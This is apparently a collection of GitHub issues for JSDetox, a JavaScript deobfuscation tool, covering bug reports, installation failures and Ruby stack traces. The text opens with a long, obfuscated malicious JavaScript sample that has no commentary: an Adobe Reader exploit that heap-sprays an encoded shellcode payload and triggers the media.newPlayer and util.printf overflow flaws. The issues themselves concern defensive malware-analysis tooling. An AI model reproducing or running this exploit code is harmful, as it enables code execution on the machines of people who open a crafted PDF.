yyuyyy6yyy5yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy9yyy8yyy3yyy7yyy%yyyuyyy6yyy7yyydyyy2yyy%yyyuyyy6yyy7yyy6yyy1yyy%yyyuyyy9yyy8yyy6yyy7yyy%yyyuyyy9yyyfyyy3yyy0yyy%yyyuyyy8yyycyyyeyyy6yyy%yyyuyyy6yyy3yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy9yyycyyyeyyy4yyy%yyyuyyy1yyy8yyy6yyy7yyy%yyyuyyy9yyy8yyyeyyy3yyy%yyyuyyy6yyy7yyydyyy2yyy%yyyuyyy6yyy7yyy6yyy1yyy%yyyuyyy9yyy8yyy6yyy7yyy%yyyuyyy9yyy7yyy3yyy0yyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyydyyy2yyyeyyyayyy%yyyuyyy6yyy6yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy8yyyfyyy3yyy1yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyyeyyy4yyy3yyyfyyy%yyyuyyy6yyyayyyayyy7yyy%yyyuyyy3yyy2yyy3yyy7yyy%yyyuyyy8yyybyyyeyyycyyy%yyyuyyy2yyy0yyyeyyycyyy%yyyuyyy9yyy8yyy8yyybyyy%yyyuyyy0yyydyyy8yyy7yyy%yyyuyyy0yyydyyy6yyy7yyy%yyyuyyy9yyy8yyy6yyy7yyy%yyyuyyy2yyybyyy1yyy0yyy%yyyuyyy1yyy0yyy9yyy8yyy%yyyuyyy9yyy8yyy5yyy3yyy%yyyuyyy8yyy7yyy3yyy0yyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyyeyyy2yyyeyyyayyy%yyyuyyy6yyy0yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy9yyy8yyy3yyy7yyy%yyyuyyy3yyy7yyy1yyy0yyy%yyyuyyyeyyy2yyyeyyyayyy%yyyuyyy6yyy6yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy9yyy8yyy3yyy7yyy%yyyuyyy5yyy3yyy1yyy0yyy%yyyuyyy3yyy0yyy9yyy8yyy%yyyuyyy5yyy4yyy9yyy3yyy%yyyuyyy2yyy7yyyayyy7yyy%yyyuyyy1yyybyyyeyyy7yyy%yyyuyyy6yyy7yyy6yyy2yyy%yyyuyyy1yyy2yyy6yyy7yyy%yyyuyyyeyyycyyy9yyyfyyy%yyyuyyy3yyy7yyy2yyy8yyy%yyyuyyy9yyycyyyeyyy0yyy%yyyuyyy1yyybyyyeyyyayyy%yyyuyyy6yyy7yyy6yyy2yyy%yyyuyyydyyy2yyyeyyyayyy%yyyuyyy6yyy6yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyycyyy3yyy9yyy4yyy%yyyuyyy9yyycyyyeyyy0yyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyy6yyy5yyy0yyydyyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyy6yyy7yyy0yyyfyyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyyeyyyayyy2yyy7yyy%yyyuyyy6yyy7yyy0yyyayyy%yyyuyyy8yyyfyyy3yyy2yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyyeyyy4yyy3yyyfyyy%yyyuyyy6yyyayyyayyy7yyy%yyyuyyy3yyy2yyy3yyy7yyy%yyyuyyy8yyybyyyeyyycyyy%yyyuyyy2yyy0yyyeyyycyyy%yyyuyyy9yyy8yyy9yyybyyy%yyyuyyyeyyy4yyy8yyy7yyy%yyyuyyy6yyy7yyy9yyyfyyy%yyyuyyyeyyy9yyy6yyy8yyy%yyyuyyy6yyy6yyy5yyybyyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyyeyyy2yyyeyyyeyyy%yyyuyyy6yyy1yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy3yyy8yyyeyyycyyy%yyyuyyyeyyycyyy5yyybyyy%yyyuyyy5yyy3yyy1yyy0yyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyy3yyy1yyy3yyy4yyy%yyyuyyy3yyy0yyy9yyy8yyy%yyyuyyyeyyycyyy8yyy7yyy%yyyuyyy2yyy7yyy3yyy8yyy%yyyuyyyeyyy2yyyayyy0yyy%yyyuyyy6yyy1yyy6yyy3yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy6yyy3yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyyeyyy2yyyeyyyayyy%yyyuyyy6yyy0yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy0yyyfyyy3yyy7yyy%yyyuyyy6yyy3yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyyeyyy2yyyeyyyayyy%yyyuyyy6yyy5yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy3yyy1yyy3yyy7yyy%yyyuyyy3yyy0yyy9yyy8yyy%yyyuyyyeyyycyyy9yyy3yyy%yyyuyyy4yyyayyyayyy4yyy%yyyuyyy6yyy3yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy9yyyfyyyeyyy4yyy%yyyuyyy1yyy8yyy6yyy7yyy%yyyuyyyeyyyeyyy6yyy1yyy%yyyuyyy6yyy3yyyfyyyayyy%yyyuyyy6yyy7yyy6yyy1yyy%yyyuyyy0yyydyyy6yyy7yyy%yyyuyyyeyyyayyy6yyy7yyy%yyyuyyy6yyy3yyyeyyy2yyy%yyyuyyy6yyy7yyy6yyy0yyy%yyyuyyy3yyy7yyy6yyy7yyy%yyyuyyydyyy2yyy9yyy8yyy%yyyuyyy6yyy1yyy6yyy3yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyyeyyy2yyyeyyyayyy%yyyuyyy6yyy5yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy9yyy8yyy3yyy7yyy%yyyuyyy6yyy7yyydyyy2yyy%yyyuyyy6yyy7yyy6yyy1yyy%yyyuyyy9yyy8yyy6yyy7yyy%yyyuyyy9yyyfyyy3yyy0yyy%yyyuyyy8yyycyyyeyyy6yyy%yyyuyyy6yyy3yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy9yyycyyyeyyy4yyy%yyyuyyy1yyy8yyy6yyy7yyy%yyyuyyy9yyy8yyycyyycyyy%yyyuyyy6yyy7yyydyyy2yyy%yyyuyyy6yyy7yyy6yyy1yyy%yyyuyyy9yyy8yyy6yyy7yyy%yyyuyyy9yyy7yyy3yyy0yyy%yyyuyyydyyy2yyyeyyyayyy%yyyuyyy6yyy6yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy6yyy7yyy0yyyfyyy%yyyuyyy6yyy7yyy6yyy6yyy%yyyuyyy3yyy1yyy6yyy7yyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyy3yyy0yyy9yyy8yyy%yyyuyyyayyy1yyybyyybyyy%yyyuyyy9yyy8yyyeyyy2yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy4yyy5yyy6yyy7yyy%yyyuyyyayyyeyyy5yyy4yyy%yyyuyyyeyyy7yyy2yyy6yyy%yyyuyyy6yyyayyydyyybyyy%yyyuyyy6yyy6yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy1yyy2yyy6yyy7yyy%yyyuyyyayyy0yyy9yyy2yyy%yyyuyyy6yyyayyyeyyy3yyy%yyyuyyy6yyy6yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy4yyy7yyy4yyy5yyy%yyyuyyy1yyy4yyy4yyy8yyy%yyyuyyyayyy6yyyeyyy4yyy%yyyuyyy0yyy1yyy6yyy3yyy%yyyuyyyeyyy3yyyayyy0yyy%yyyuyyy6yyy7yyy6yyyayyy%yyyuyyy6yyy7yyy6yyy6yyy%yyyuyyy4yyy7yyy6yyy7yyy%yyyuyyyeyyy4yyy4yyy5yyy%yyyuyyy6yyy5yyyayyy6yyy%yyyuyyy9yyycyyyeyyy0yyy%yyyuyyybyyy5yyy5yyy4yyy%yyyuyyy1yyy3yyyeyyyayyy%yyyuyyy6yyy7yyy7yyy2yyy%yyyuyyyeyyyayyycyyybyyy%yyyuyyy6yyyayyydyyybyyy%yyyuyyy6yyy6yyy6yyy7yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy2yyy6yyycyyydyyy%yyyuyyy5yyybyyy2yyy5yyy%yyyuyyy1yyy2yyy6yyy7yyy%yyyuyyy2yyyeyyy8yyyayyy%yyyuyyyeyyy3yyyayyy1yyy%yyyuyyy6yyy7yyy6yyyayyy%yyyuyyy6yyy7yyy6yyy6yyy%yyyuyyy4yyy5yyy6yyy7yyy%yyyuyyyeyyy2yyyayyy0yyy%yyyuyyy6yyy7yyy8yyycyyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy2yyyayyy2yyy4yyy%yyyuyyy4yyy9yyy2yyy3yyy%yyyuyyyeyyy2yyyayyy0yyy%yyyuyyy6yyy7yyy8yyy8yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy3yyyfyyy2yyy2yyy%yyyuyyy4yyy7yyy2yyy2yyy%yyyuyyyayyy0yyy0yyy1yyy%yyyuyyy9yyy4yyyeyyy2yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy4yyy8yyy6yyy7yyy%yyyuyyyayyy1yyy0yyy4yyy%yyyuyyy9yyy2yyyeyyy2yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy4yyy7yyy6yyy7yyy%yyyuyyyeyyy2yyyayyy0yyy%yyyuyyy6yyy7yyy9yyy1yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy0yyy6yyy1yyy3yyy%yyyuyyy0yyycyyy1yyy4yyy%yyyuyyyeyyy2yyyayyy0yyy%yyyuyyy6yyy7yyy9yyydyyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy0yyyeyyy0yyybyyy%yyyuyyy1yyy3yyy1yyy4yyy%yyyuyyyeyyy2yyyayyy1yyy%yyyuyyy6yyy7yyy9yyy9yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyyeyyy0yyy4yyy1yyy%yyyuyyyeyyyayyy9yyycyyy%yyyuyyy8yyycyyyeyyy2yyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy0yyydyyy6yyy7yyy%yyyuyyy3yyy7yyy6yyy7yyy%yyyuyyy6yyy7yyy8yyyfyyy%yyyuyyy6yyy7yyy6yyy7yyy%yyyuyyy3yyyfyyy6yyy7yyy%yyyuyyyayyy7yyyeyyy4yyy%yyyuyyy3yyy7yyy6yyyayyy%yyyuyyyeyyycyyy3yyy2yyy%yyyuyyyeyyycyyy8yyybyyy%yyyuyyy8yyybyyy2yyy0yyy%yyyuyyy8yyy7yyy9yyy8yyy%yyyuyyy6yyy7yyy0yyydyyy%yyyuyyy9yyy8yyy0yyydyyy%yyyuyyy3yyy0yyy9yyy8yyy%yyyuyyyfyyy7yyy8yyy3\";\r\n}\r\nmmmmmm = mm(xoxo());';m("var mmmmmmmmmmmmmmmmmmmmmmmm0 = mmmmmmmmmmmmmmmmmmm.re"+"pla"+"ce(/[y]/g,'');");for(mmmmmmmmmmmmmmmmmmmmmm = 0; mmmmmmmmmmmmmmmmmmmmmm < 0x64; mmmmmmmmmmmmmmmmmmmmmm++) { var mmmmmmmmmmmmmmmmmmmmm = 'function a1106889858(fa) {return fa;} var a266415535 = 281772104;function a454936894(fa) {return fa;} var a289990746 = 1206395987;function a606709841(fa) {return fa;} var a814629542 = 809599932;function a975519308(fa) {return fa;} var a73837795 = 418139819;function a1311395772(fa) {return fa;} var a102714415 = 1168743178;function a457025328(fa) {return fa;} var a106369175 = 824445897;'; var mmmmmmmmmmmmmmmmmmmmm = mmmmmmmmmmmmmmmmmmmmm+mmmmmmmmmmmmmmmmmmmmm+mmmmmmmmmmmmmmmmmmmmm+mmmmmmmmmmmmmmmmmmmmm+mmmmmmmmmmmmmmmmmmmmm+mmmmmmmmmmmmmmmmmmmmm+mmmmmmmmmmmmmmmmmmmmm; var mmmmmmmmmmmmmmmmmmmmm = mmmmmmmmmmmmmmmmmmmmm+mmmmmmmmmmmmmmmmmmmmm+mmmmmmmmmmmmmmmmmmmmm+mmmmmmmmmmmmmmmmmmmmm; var mmmmmmmmmmmmmmmmmmmmmmm = mmmmmmmmmmmmmmmmmmmmmm+1; mmmmmmmmmmmmmmmmmmmm = 'var mmmmmmmmmmmmmmmmmmmmmmmm'+mmmmmmmmmmmmmmmmmmmmmmm+'=mmmmmmmmmmmmmmmmmmmmmmmm'+mmmmmmmmmmmmmmmmmmmmmm+';'+mmmmmmmmmmmmmmmmmmmmm+''+mmmmmmmmmmmmmmmmmmmmm+''+mmmmmmmmmmmmmmmmmmmmm+''; m(mmmmmmmmmmmmmmmmmmmm);}m(mmmmmmmmmmmmmmmmmmmmmmmm100);m('mmmm = ' + 'mmmm.re' /****/ + 'place' + '(/lll/g,"%25%75")'); m('mmmmm = ' + 'mmmmm.re' /****/ + 'place' + '(/lll/g,"%25%75")'); mmmmmmmmm = mm(mm(mmmm));mmmmmmmmmm = mm(mm(mmmmm));var mmmmmmmmmmm = app.viewerVersion.toString();try{ mmmmmmmmmmmm = 700; throw "688128";} catch(e){ mmmmmmm = Number(e);}try{ throw "523776"; } catch(e){ mmmmmmmm = Number(e);}if(mmmmmmmmmmm>=8.0){ try { mmmmmmmmmmmm = 0x1000; throw "32768"; } catch(e) { mmmmmmm = Number(e); } try { throw "32256"; } catch(e) mmmmmmmm = Number(e); }}try { while(mmmmmmmmm.length <= (2 * mmmmmmm - mmmmmmmmm.length)) { m(mm('mmmmmmmmm %2B= ' + 'mmmmmmmmm')); } } catch(e) {}m(mm('mmmmmmmmm %3D mmmmmmmmm.subst' + 'ring(0, mmmmmmmm)'));mmmmmmmmmmmmm = new Array();for(mmmmmmmmmmmmmmmm = 0; mmmmmmmmmmmmmmmm < mmmmmmmmmmmm; mmmmmmmmmmmmmmmm++) { m(mm('mmmmmmmmmmmmm[mmmmmmmmmmmmmmmm] = ' + 'mmmmmmmmm %2B mmmmmm'));}util.printd("zhFvZPRxwrcXQJVFALoWckjIlrYaLBnwVTJw", new Date());if(mmmmmmmmmmm >= 8.0){ util.printd("UcDiTDslmSOGyIAvnrigdAPgAfIGJkTqHqZt", new Date()); var mmmmmmmmmmmmmm = mm("this.%20%20%20me"+/**/"dia.%20%20%20new"+/**/"Play"+/**/"er%28nu"+/**/"ll%29%3B"); try { m(mmmmmmmmmmmmmm); } catch(e) {} util.printd(mmmmmmmmmm, new Date());}if(mmmmmmmmmmm >= 7.0 && mmmmmmmmmmm < 8){ var mmmmmmmmmmmmmmmmmm = '12999999999999999999'; for(mmmmmmmmmmmmmmmmm = 0; mmmmmmmmmmmmmmmmm < 276; mmmmmmmmmmmmmmmmm++) { m(mm('mmmmmmmmmmmmmmmmmm %2B= ' + '%278%27')); } var mmmmmmmmmmmmmmm = mm("util.%20%20%20pr"+/**/"%69%6etf"+/**/"%28%22%25"+/**/"%34%35%30%30%30%66"+/**/"%22%2Cmmmmmmmmmmmmmmmmmm%29%3B"); m(mmmmmmmmmmmmmmm);}

Port this tool to firebug

To analyse and debug websites there is a great addon for firefox out there called firebug ( https://getfirebug.com/ )
In its 2.0 release they added quite a few things to help with minified and obscured javascript.
Adding linebreaks and debugging spawned functions is nice, but i think it would be nice if jsdetoc would come to aid and extend this a little bit more.
JSDetox does a good job at cleaning up code and firebug would bring it's debugging abilities to the team and you would not have to manually interfere with code that much that relies on html structure.
What would you say about making this an extension for firebug or even extend it by default with this tools abilities?

monkey_patch error in visit_VarStatementNode

JavaScript in for loops can get invalid after reformatting or during analysis:

for(var i,j = 0; j < 10; j++) { /**/ }

will be changed to

for(var i;
var j = 0; j < 10; j++) { /**/ }

Stack limit exceeded

Hello,

I'm getting the following error.

I setup a VM with ubuntu 16.04.2 U, with 1 GB memory and 20 GB HDD.

I installed the JSDtox on the host and access the web interface.

I receive the following error in specific cases when submitting a large / medium JS code.

Error:
Stack limit exceeded. Please try to adjust the stack limit 'ulimit -s' (Ruby 1.8/1.9) OR export RUBY_THREAD_VM_STACK_SIZE (Ruby<=2.0)

I have followed some articles to change the NOFILE size and the machine crashed.

Can someone help me with better practice (guides) for solving this issue ?

Lee,

BR,

Ignores conditionally executed code

One piece of malware I analyzed recently has something along the lines of the following:

/*@cc_on @*//*@if(@_jscript_version >= 4) function... @else @*/...

This segment was entirely ignored when converting the obfuscated code to normal JS for static analysis, but in reality it was executed on the client machine when the script was ran.

This is a conditional comment, and it will only run on Internet Explorer (source).

Fresh installation with 500 error: undefined method `join' for #&lt;String:0x00000003d148d8&gt;

Take a look please?

[JSDetox] Loading framework ... done.
[JSDetox] Starting webserver (hit Ctrl-C to quit) ...
=> Padrino/0.10.7 has taken the stage development at http://127.0.0.1:3000
[2017-06-29 15:10:09] INFO  WEBrick 1.3.1
[2017-06-29 15:10:09] INFO  ruby 2.3.1 (2016-04-26) [x86_64-linux-gnu]
[2017-06-29 15:10:09] INFO  WEBrick::HTTPServer#start: pid=58596 port=3000
Thread.exclusive is deprecated, use Mutex
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/reloader.rb:247:in `call'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/logger.rb:388:in `call'
/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/showexceptions.rb:21:in `call'
/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:1417:in `block in call'
/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:1499:in `synchronize'
/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:1417:in `call'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:83:in `block in call'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:76:in `each'
/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:76:in `call'
/var/lib/gems/2.3.0/gems/rack-1.6.8/lib/rack/handler/webrick.rb:88:in `service'
/usr/lib/ruby/2.3.0/webrick/httpserver.rb:140:in `service'
/usr/lib/ruby/2.3.0/webrick/httpserver.rb:96:in `run'
/usr/lib/ruby/2.3.0/webrick/server.rb:296:in `block in start_thread'
[2017-06-29 15:10:10] ERROR NoMethodError: undefined method `join' for #<String:0x00000003d148d8>
	/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/showexceptions.rb:37:in `rescue in call'
	/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/showexceptions.rb:21:in `call'
	/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:1417:in `block in call'
	/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:1499:in `synchronize'
	/var/lib/gems/2.3.0/gems/sinatra-1.3.6/lib/sinatra/base.rb:1417:in `call'
	/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:83:in `block in call'
	/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:76:in `each'
	/var/lib/gems/2.3.0/gems/padrino-core-0.10.7/lib/padrino-core/router.rb:76:in `call'
	/var/lib/gems/2.3.0/gems/rack-1.6.8/lib/rack/handler/webrick.rb:88:in `service'
	/usr/lib/ruby/2.3.0/webrick/httpserver.rb:140:in `service'
	/usr/lib/ruby/2.3.0/webrick/httpserver.rb:96:in `run'
	/usr/lib/ruby/2.3.0/webrick/server.rb:296:in `block in start_thread'
# curl 127.0.0.1:3000
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<HTML>
  <HEAD><TITLE>Internal Server Error</TITLE></HEAD>
  <BODY>
    <H1>Internal Server Error</H1>
    undefined method `join' for #&lt;String:0x00000003d148d8&gt;
    <HR>
    <ADDRESS>
     WEBrick/1.3.1 (Ruby/2.3.1/2016-04-26) at
     127.0.0.1:3000
    </ADDRESS>
  </BODY>
</HTML>

Upload of an html file fails

I am running the latest kubuntu and i installed ruby 1.9 to try this tool.
Now when i select the html document tab , select a file on my disk and hit upload i get:

Error:Could not upload file on the detox browser page

the terminal with the webserver is telling me:
[Quote]

Encoding::UndefinedConversionError - "\xC3" from ASCII-8BIT to UTF-8:
/home/sam/Downloads/jsdetox-master/jsdetox/app/controllers/backend.rb:67:in encode' /home/sam/Downloads/jsdetox-master/jsdetox/app/controllers/backend.rb:67:into_json'
/home/sam/Downloads/jsdetox-master/jsdetox/app/controllers/backend.rb:67:in block (2 levels) in <top (required)>' /var/lib/gems/1.9.1/gems/padrino-core-0.10.6/lib/padrino-core/application/routing.rb:569:incall'
/var/lib/gems/1.9.1/gems/padrino-core-0.10.6/lib/padrino-core/application/routing.rb:569:in block in route' /var/lib/gems/1.9.1/gems/padrino-core-0.10.6/lib/padrino-core/application/routing.rb:51:in[]'
/var/lib/gems/1.9.1/gems/padrino-core-0.10.6/lib/padrino-core/application/routing.rb:51:in block (3 levels) in process_destination_path' /var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:876:inroute_eval'
/var/lib/gems/1.9.1/gems/padrino-core-0.10.6/lib/padrino-core/application/routing.rb:51:in block (2 levels) in process_destination_path' /var/lib/gems/1.9.1/gems/padrino-core-0.10.6/lib/padrino-core/application/routing.rb:51:incatch'
/var/lib/gems/1.9.1/gems/padrino-core-0.10.6/lib/padrino-core/application/routing.rb:51:in block in process_destination_path' /var/lib/gems/1.9.1/gems/padrino-core-0.10.6/lib/padrino-core/application/routing.rb:25:ininstance_eval'
/var/lib/gems/1.9.1/gems/padrino-core-0.10.6/lib/padrino-core/application/routing.rb:25:in process_destination_path' (eval):166:inblock (2 levels) in inject_root_methods'
(eval):156:in catch' (eval):156:inblock in inject_root_methods'
/var/lib/gems/1.9.1/gems/http_router-0.10.2/lib/http_router/node/root.rb:92:in []' /var/lib/gems/1.9.1/gems/http_router-0.10.2/lib/http_router.rb:119:inblock in call'
/var/lib/gems/1.9.1/gems/http_router-0.10.2/lib/http_router.rb:119:in catch' /var/lib/gems/1.9.1/gems/http_router-0.10.2/lib/http_router.rb:119:incall'
/var/lib/gems/1.9.1/gems/padrino-core-0.10.6/lib/padrino-core/application/routing.rb:919:in route!' /var/lib/gems/1.9.1/gems/padrino-core-0.10.6/lib/padrino-core/application/routing.rb:909:indispatch!'
/var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:794:in block in call!' /var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:946:inblock in invoke'
/var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:946:in catch' /var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:946:ininvoke'
/var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:794:in call!' /var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:780:incall'
/var/lib/gems/1.9.1/gems/rack-1.5.2/lib/rack/session/abstract/id.rb:225:in context' /var/lib/gems/1.9.1/gems/rack-1.5.2/lib/rack/session/abstract/id.rb:220:incall'
/var/lib/gems/1.9.1/gems/sass-3.2.12/lib/sass/plugin/rack.rb:54:in call' /var/lib/gems/1.9.1/gems/rack-1.5.2/lib/rack/head.rb:11:incall'
/var/lib/gems/1.9.1/gems/rack-1.5.2/lib/rack/methodoverride.rb:21:in call' /var/lib/gems/1.9.1/gems/padrino-core-0.10.6/lib/padrino-core/reloader.rb:250:incall'
/var/lib/gems/1.9.1/gems/padrino-core-0.10.6/lib/padrino-core/logger.rb:388:in call' /var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/showexceptions.rb:21:incall'
/var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:1417:in block in call' /var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:1499:insynchronize'
/var/lib/gems/1.9.1/gems/sinatra-1.3.6/lib/sinatra/base.rb:1417:in call' /var/lib/gems/1.9.1/gems/padrino-core-0.10.6/lib/padrino-core/router.rb:83:inblock in call'
/var/lib/gems/1.9.1/gems/padrino-core-0.10.6/lib/padrino-core/router.rb:76:in each' /var/lib/gems/1.9.1/gems/padrino-core-0.10.6/lib/padrino-core/router.rb:76:incall'
/var/lib/gems/1.9.1/gems/rack-1.5.2/lib/rack/handler/webrick.rb:60:in service' /usr/lib/ruby/1.9.1/webrick/httpserver.rb:138:inservice'
/usr/lib/ruby/1.9.1/webrick/httpserver.rb:94:in run' /usr/lib/ruby/1.9.1/webrick/server.rb:191:inblock in start_thread'
[/Quote]

Installation problem

Hi Sven,
New to Linux - having trouble with the install. Here's what I get after following all the directions:

root@bt:~/test/jsdetox# ./jsdetox
[JSDetox] Loading framework ... /root/test/jsdetox/config/boot.rb:7:in require': no such file to load -- bundler/setup (LoadError) from /root/test/jsdetox/config/boot.rb:7:in<top (required)>'
from ./jsdetox:34:in require' from ./jsdetox:34:in

'

Any ideas?

Installation fails on Ubuntu 14.04 LTS (with workaround included)

With time passing by, the dependencies listed in the Gemfile, are developed further, and require more recent version of Ruby, and the instructions for Linux Mint 17 LTS / Ubuntu 14.04 LTS need to be either updated, or the relevant dependencies version-locked conditionally if install is done on that system.

Currently

  • rake -> requires Ruby version >= 2.0.0.
    You can do sudo apt-get install git ruby2.0 ruby2.0-dev bundler build-essential
    And replace #!/usr/bin/env ruby with #!/usr/bin/env ruby2.0 in /usr/bin/bundle
    Or change the symlink /usr/bin/ruby to point to ruby2.0 instead of ruby1.9.1
    NOTE: the ruby version is in fact 1.9.3 but the name of the binary in Ubuntu don't reflect this

But after fixing the dependency rake:

  • nokogiri requires Ruby version >= 2.1.0.
    But no ruby2.1 is available for Ubuntu 14.04 on the simple way
    The last version that would work is nokogiri 1.6.8.1 which requires Ruby >= 1.9.2
    If you specify the version above for nokogiri in Gemfile like this: gem 'nokogiri', '1.6.8.1' the install succeeds

I did a quick research, and at the time of the last know commit on Jan 4, 2015, the versions of the "problem gems" were rake: 10.4.2 and nokogiri: 1.6.5 and the ruby version required to succeed was 1.9.2.

Dependency error

Topic says it:

Installing therubyracer 0.9.8 with native extensions

Gem::Installer::ExtensionBuildError: ERROR: Failed to build gem native extension.

        /usr/bin/ruby1.9.1 extconf.rb
*** extconf.rb failed ***
Could not create Makefile due to some reason, probably lack of
necessary libraries and/or headers.  Check the mkmf.log file for more
details.  You may need configuration options.

Provided configuration options:
        --with-opt-dir
        --without-opt-dir
        --with-opt-include
        --without-opt-include=${opt-dir}/include
        --with-opt-lib
        --without-opt-lib=${opt-dir}/lib
        --with-make-prog
        --without-make-prog
        --srcdir=.
        --curdir
        --ruby=/usr/bin/ruby1.9.1
extconf.rb:15:in `<main>': undefined method `include_path' for Libv8:Module (NoMethodError)


Gem files will remain installed in /var/lib/gems/1.9.1/gems/therubyracer-0.9.8 for inspection.
Results logged to /var/lib/gems/1.9.1/gems/therubyracer-0.9.8/ext/v8/gem_make.out
An error occurred while installing therubyracer (0.9.8), and Bundler cannot continue.
Make sure that `gem install therubyracer -v '0.9.8'` succeeds before bundling.

mkmf.log contains the below:

have_library: checking for main() in -lpthread... -------------------- yes

"gcc -o conftest -I/usr/include/ruby-1.9.1/x86_64-linux -I/usr/include/ruby-1.9.1/ruby/backward -I/usr/include/ruby-1.9.1 -I. -D_FORTIFY_SOURCE=2  -D_FORTIFY_SOURCE=2 -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -Wall -fno-strict-aliasing -fPIC conftest.c  -L. -L/usr/lib -L. -Wl,-Bsymbolic-functions -Wl,-z,relro -L/build/buildd/ruby1.9.1-1.9.3.484/debian/lib -rdynamic -Wl,-export-dynamic     -lruby-1.9.1  -lpthread -lrt -ldl -lcrypt -lm   -lc"
checked program was:
/* begin */
1: #include "ruby.h"
2:
3: int main(int argc, char **argv)
4: {
5:   return 0;
6: }
/* end */

"gcc -o conftest -I/usr/include/ruby-1.9.1/x86_64-linux -I/usr/include/ruby-1.9.1/ruby/backward -I/usr/include/ruby-1.9.1 -I. -D_FORTIFY_SOURCE=2  -D_FORTIFY_SOURCE=2 -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -Wall -fno-strict-aliasing -fPIC conftest.c  -L. -L/usr/lib -L. -Wl,-Bsymbolic-functions -Wl,-z,relro -L/build/buildd/ruby1.9.1-1.9.3.484/debian/lib -rdynamic -Wl,-export-dynamic     -lruby-1.9.1 -lpthread  -lpthread -lrt -ldl -lcrypt -lm   -lc"
conftest.c: In function âtâ:
conftest.c:4:53: error: âmainâ undeclared (first use in this function)
 int t() { void ((*volatile p)()); p = (void ((*)()))main; return 0; }
                                                     ^
conftest.c:4:53: note: each undeclared identifier is reported only once for each function it appears in
conftest.c:4:28: warning: variable âpâ set but not used [-Wunused-but-set-variable]
